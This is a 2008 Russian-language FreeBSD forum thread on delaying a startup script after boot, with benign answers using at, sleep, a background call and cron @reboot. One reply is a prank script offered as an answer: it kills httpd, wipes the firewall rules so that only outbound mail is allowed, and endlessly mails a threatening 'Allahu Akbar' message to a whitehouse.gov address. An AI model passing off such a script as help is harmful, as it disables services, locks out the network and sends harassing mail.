Отложенный запуск скрипта при страте системы

Программирование на sh, быть может немного про альтернативные языки
Правила форума
Убедительная просьба юзать теги [code] при оформлении листингов.
Сообщения не оформленные должным образом имеют все шансы быть незамеченными.
Аватара пользователя
Fastman
ст. лейтенант
Сообщения: 1236
Зарегистрирован: 2006-07-07 10:20:38
Откуда: Минск. РБ

Отложенный запуск скрипта при страте системы

Непрочитанное сообщение Fastman » 2008-07-31 14:55:02

Нужно чтобы скрипт лежащий в /usr/local/etc/rc.d и прописанный в rc.conf
стартовал через минуту после поднятия всей системы.

Подскажите плз.
Главное в жизни здоровье и любовь, остальное я все куплю.

Хостинговая компания Host-Food.ru
Хостинг HostFood.ru
 

Услуги хостинговой компании Host-Food.ru

Хостинг HostFood.ru

Тарифы на хостинг в России, от 12 рублей: https://www.host-food.ru/tariffs/hosting/
Тарифы на виртуальные сервера (VPS/VDS/KVM) в РФ, от 189 руб.: https://www.host-food.ru/tariffs/virtualny-server-vps/
Выделенные сервера, Россия, Москва, от 2000 рублей (HP Proliant G5, Intel Xeon E5430 (2.66GHz, Quad-Core, 12Mb), 8Gb RAM, 2x300Gb SAS HDD, P400i, 512Mb, BBU):
https://www.host-food.ru/tariffs/vydelennyi-server-ds/
Недорогие домены в популярных зонах: https://www.host-food.ru/domains/

Аватара пользователя
salvator
мл. сержант
Сообщения: 88
Зарегистрирован: 2008-04-01 12:18:59
Откуда: Kiev, Ukraine

Re: Отложенный запуск скрипта при страте системы

Непрочитанное сообщение salvator » 2008-07-31 18:22:57

Код: Выделить всё

man at
man date
man rc

echo 'echo "xmms -p" | at `date -v +2M +%H%M`' >> /etc/rc.local
где-то так

Аватара пользователя
zingel
beastie
Сообщения: 6204
Зарегистрирован: 2007-10-30 3:56:49
Откуда: Moscow
Контактная информация:

Re: Отложенный запуск скрипта при страте системы

Непрочитанное сообщение zingel » 2008-07-31 18:25:18

Код: Выделить всё

sleep 60
Z301171463546 - можно пожертвовать мне денег

Аватара пользователя
salvator
мл. сержант
Сообщения: 88
Зарегистрирован: 2008-04-01 12:18:59
Откуда: Kiev, Ukraine

Re: Отложенный запуск скрипта при страте системы

Непрочитанное сообщение salvator » 2008-07-31 18:37:28

zingel писал(а):

Код: Выделить всё

sleep 60
тогда уж

Код: Выделить всё

# cat /etc/rc.local
daemon /usr/loca/script.sh

# cat /usr/loca/script.sh
#!/bin/sh
sleep 120
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin
killall -9 httpd
ipfw -f flush
ipfw add allow all from me to any 25 new
ipfw add allow all from any to me established
ipfw add deny all from any to any
while true; do
  echo "All@кh Akb@r" | mail jeorge@whitehouse.gov
done

Аватара пользователя
Alex Keda
стреляли...
Сообщения: 35456
Зарегистрирован: 2004-10-18 14:25:19
Откуда: Made in USSR
Контактная информация:

Re: Отложенный запуск скрипта при страте системы

Непрочитанное сообщение Alex Keda » 2008-07-31 19:24:04

насколько я понимаю принцип работы стартовых скриптов - это тормознёт их все....
рекомендую не прописывать его в rc.conf
а старт сделать вызовом из отдельного загрузочного скрипта типа

Код: Выделить всё

sleep 60 && /path/to/script.sh &
Убей их всех! Бог потом рассортирует...

Аватара пользователя
terminus
майор
Сообщения: 2305
Зарегистрирован: 2007-10-29 11:27:35
Откуда: Рига

Re: Отложенный запуск скрипта при страте системы

Непрочитанное сообщение terminus » 2008-08-01 17:46:39

cron умеет стартовать при загрузке. Запускать им, а в скрипте выставить sleep

man crontab(5)

Код: Выделить всё

     Instead of the first five fields, one of eight special strings may
     appear:

	   string	   meaning
	   ------	   -------
	   @reboot	   Run once, at startup.
	   @yearly	   Run once a year, "0 0 1 1 *".
	   @annually	   (same as @yearly)
	   @monthly	   Run once a month, "0 0 1 * *".
	   @weekly	   Run once a week, "0 0 * * 0".
	   @daily	   Run once a day, "0 0 * * *".
	   @midnight	   (same as @daily)
	   @hourly	   Run once an hour, "0 * * * *".
Модель: AST-PM-105/0044; Тип: Универсальный, ремонтный; Название: Терминус; Род повреждения: Распад функций; Выводы: Сдать на слом.

Аватара пользователя
Fastman
ст. лейтенант
Сообщения: 1236
Зарегистрирован: 2006-07-07 10:20:38
Откуда: Минск. РБ

Re: Отложенный запуск скрипта при страте системы

Непрочитанное сообщение Fastman » 2008-08-01 18:06:39

спасибо народ - разобрался.
Просто демон листит порт при запуске.. получалось что он начинал листить раньше чем интерфейсы поднимались.. соответственно после ребута сам не подымался...
Главное в жизни здоровье и любовь, остальное я все куплю.